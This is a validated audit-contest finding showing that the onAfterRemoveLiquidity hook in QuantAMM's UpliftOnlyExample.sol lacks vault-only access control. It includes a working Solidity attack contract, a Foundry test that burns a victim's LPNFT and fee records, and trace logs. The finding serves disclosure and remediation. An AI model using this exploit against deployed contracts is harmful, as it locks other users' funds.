QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: high
Valid

Unprotected hook allows anyone to burn LPNFTs

Summary

One of the BaseHook functions in UpliftOnlyExample.sol is missing the recommended authorization modifier. As a result anyone can burn other people's LPNFT tokens. Without the NFT and the related FeeData, the underlying assets are effectively locked in the Vault and liquidity cannot be removed.

Vulnerability Details

The onAfterRemoveLiquidity hook is intended to be a callback function for the Vault to use. However the only modifier included is onlySelfRouter which simply verifies the first parameter passed to the function (router == address(this)) so is not relevant here:

function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {

Source UpliftOnlyExample.sol#L431-L440

The function's inherited docs includes the following dev comment:

Hook contracts should use the `onlyVault` modifier to guarantee this is only called by the Vault.

Source IHooks.sol#L177-L178

onlyVault requires msg.sender == _vault as the name suggests.

Source VaultGuard.sol#L16-L25

Manual review (and the POC below) confirms the vault check is not performed elsewhere when calling this function.

Impact

onAfterRemoveLiquidity is responsible for distributing fees and cleaning up state. We will ignore fees for simplicity (and fees are 0 in the POC). The state changes of interest here are:

FeeData[] storage feeDataArray = poolsFeeData[pool][userAddress];
...
lpNFT.burn(feeDataArray[i].tokenID);
delete feeDataArray[i];
feeDataArray.pop();

Source UpliftOnlyExample.sol#L499-L502

Once that data has been deleted, future attempts to remove the impacted liquidity will revert.

POC

Add the following "Attack" contract and test function to UpliftOnlyExample.t.sol:

diff --git a/pkg/pool-hooks/test/foundry/UpliftExample.t.sol b/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
index d253722..619de65 100644
--- a/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
+++ b/pkg/pool-hooks/test/foundry/UpliftExample.t.sol
@@ -39,6 +39,46 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { UpliftOnlyExample } from "../../contracts/hooks-quantamm/UpliftOnlyExample.sol";
import { LPNFT } from "../../contracts/hooks-quantamm/LPNFT.sol";
+
+contract Attack {
+ using ArrayHelpers for *;
+
+ IVault s_vault;
+ UpliftOnlyExample s_upliftOnlyRouter;
+ address s_pool;
+ address s_victim;
+
+ constructor(IVault vault, UpliftOnlyExample upliftOnlyRouter, address pool, address victim) {
+ s_vault = vault;
+ s_upliftOnlyRouter = upliftOnlyRouter;
+ s_pool = pool;
+ s_victim = victim; // "bob" in the test
+ }
+
+ function attack() external {
+ s_vault.unlock(
+ abi.encodeCall(
+ Attack.vaultUnlockHook, ()
+ )
+ );
+ }
+
+ function vaultUnlockHook() external {
+ uint256 bptAmount = 2e21; // Same as was used for the addLiquidity call
+ uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
+
+ s_upliftOnlyRouter.onAfterRemoveLiquidity(
+ address(s_upliftOnlyRouter),
+ s_pool,
+ RemoveLiquidityKind.PROPORTIONAL,
+ bptAmount,
+ minAmountsOut,
+ minAmountsOut,
+ minAmountsOut,
+ abi.encodePacked(s_victim)
+ );
+ }
+}
contract UpliftOnlyExampleTest is BaseVaultTest {
using CastingHelpers for address[];
@@ -792,6 +832,29 @@ contract UpliftOnlyExampleTest is BaseVaultTest {
vm.stopPrank();
}
+ function testOnAfterRemoveLiquidityFromRando() public {
+ // Add liquidity so bob has BPT to remove liquidity.
+ uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
+ vm.prank(bob);
+ upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
+
+ // Anyone can initiate the attack.
+ address rando = vm.addr(69);
+ vm.startPrank(rando);
+
+ // A contract is required in order to unlock the Vault first.
+ Attack attack = new Attack(vault, upliftOnlyRouter, pool, bob);
+ attack.attack();
+
+ vm.stopPrank();
+
+ // Now Bob is unable to withdraw his liquidity.
+ vm.startPrank(bob);
+ uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
+ vm.expectRevert(abi.encodeWithSelector(UpliftOnlyExample.WithdrawalByNonOwner.selector, bob, pool, bptAmount));
+ upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
+ }
+
function testOnAfterRemoveLiquidityFromExternalRouterWithRandomExternal() public {
// Add liquidity so bob has BPT to remove liquidity.
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();

Source UpliftExample.t.sol

In this POC:

  1. Bob deposits DAI and USDC.

  2. A random attacker then burns Bob's NFT and deposit details.

  3. Now Bob is unable to withdraw his funds.

Note that calling onAfterRemoveLiquidity directly reverts on the _vault.addLiquidity line with VaultIsNotUnlocked. As the POC shows, any contract can unlock the vault and then leverage the callback hook in order to perform the attack.

Looking at the event and storage logs, we can verify the burn and delete:

├─ [118473] Attack::attack()
│ ├─ [117266] vault::unlock(0x7f5a7c7b)
│ │ ├─ [114706] Attack::hook()
│ │ │ ├─ [111562] upliftOnlyRouter::onAfterRemoveLiquidity(upliftOnlyRouter: [0xF2E246BB76DF876Cef8b38ae84130F4F55De395b], pool: [0xDB25A7b768311dE128BBDa7B8426c3f9C74f3240], 0, 2000000000000000000000 [2e21], [0, 0], [0, 0], [0, 0], 0x1d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e)
│ │ │ │ ├─ [5912] LPNFT::burn(1)
│ │ │ │ │ ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: 0x0000000000000000000000000000000000000000, tokenId: 1)
│ │ │ │ │ ├─ storage changes: ; burn NFT
│ │ │ │ │ │ @ 0x15c4fbd8bab530f4f95519ad930ceb91bb9186b396b1ab79c8c0e2ffb361362d: 1 → 0 ; from.balance 1->0
│ │ │ │ │ │ @ 0xe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0: 0x0000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e → 0 ; owners[tokenId] bob->0
│ │ │ │ ├─ [54832] vault::addLiquidity(AddLiquidityParams({ pool: 0xDB25A7b768311dE128BBDa7B8426c3f9C74f3240, to: 0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f, maxAmountsIn: [0, 0], minBptAmountOut: 0, kind: 3, userData: 0x }))
│ │ │ │ │ ├─ emit Transfer(pool: pool: [0xDB25A7b768311dE128BBDa7B8426c3f9C74f3240], from: 0x0000000000000000000000000000000000000000, to: Attack: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], value: 0)
│ │ │ │ │ ├─ [2415] pool::emitTransfer(0x0000000000000000000000000000000000000000, Attack: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0)
│ │ │ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Attack: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], value: 0)
│ │ │ │ │ ├─ emit LiquidityAdded(pool: pool: [0xDB25A7b768311dE128BBDa7B8426c3f9C74f3240], liquidityProvider: Attack: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], kind: 3, totalSupply: 4000000000000000000000 [4e21], amountsAddedRaw: [0, 0], swapFeeAmountsRaw: [0, 0])
│ │ │ │ ├─ storage changes:
; delete feeDataArray[i]; (4 slots)
; feeDataArray.pop(); (1 slot for length)
│ │ │ │ │ @ 0xd32340aac090b90be6c0362e0f3e17d224857bfd52d1524a7862e1e302a3a0b5: 0x00000000000000000000000000000000000000000000006c6b935b8bbd400000 → 0 ; FeeData.amount
│ │ │ │ │ @ 0xbf7dee144ed135cba51b32042474f3ae33ac6719e7b2ce5da0389d55824f3df2: 1 → 0 ; feeDataArray.length
│ │ │ │ │ @ 0xd32340aac090b90be6c0362e0f3e17d224857bfd52d1524a7862e1e302a3a0b4: 1 → 0 ; FeeData.tokenId
│ │ │ │ │ @ 0xd32340aac090b90be6c0362e0f3e17d224857bfd52d1524a7862e1e302a3a0b7: 0x0000000000000000000000000000000000000000000000000000c800644f0100 → 0 ; FeeData.blockTimestampDeposit and upliftFeeBps (0 here)
│ │ │ │ │ @ 0xe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0: 0x0000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e → 0 ; bob->0
│ │ │ │ │ @ 0xd32340aac090b90be6c0362e0f3e17d224857bfd52d1524a7862e1e302a3a0b6: 0x00000000000000000000000000000000000000000000000006f05b59d3b20000 → 0 ; FeeData.lpTokenDepositValue

And when comparing to the logs for a normal call to removeLiquidityProportional, we are missing state changes in the Vault contract as well as DAI and USDC token transfers to Bob that would normally occur for a removal.

Recommendation

Add the onlyVault modifier:

) public override onlyVault onlySelfRouter(router) returns (...
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_no_access_control_wipe_all_data

Likelihood: High, anyone, anytime. Impact: High, Loss of funds

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!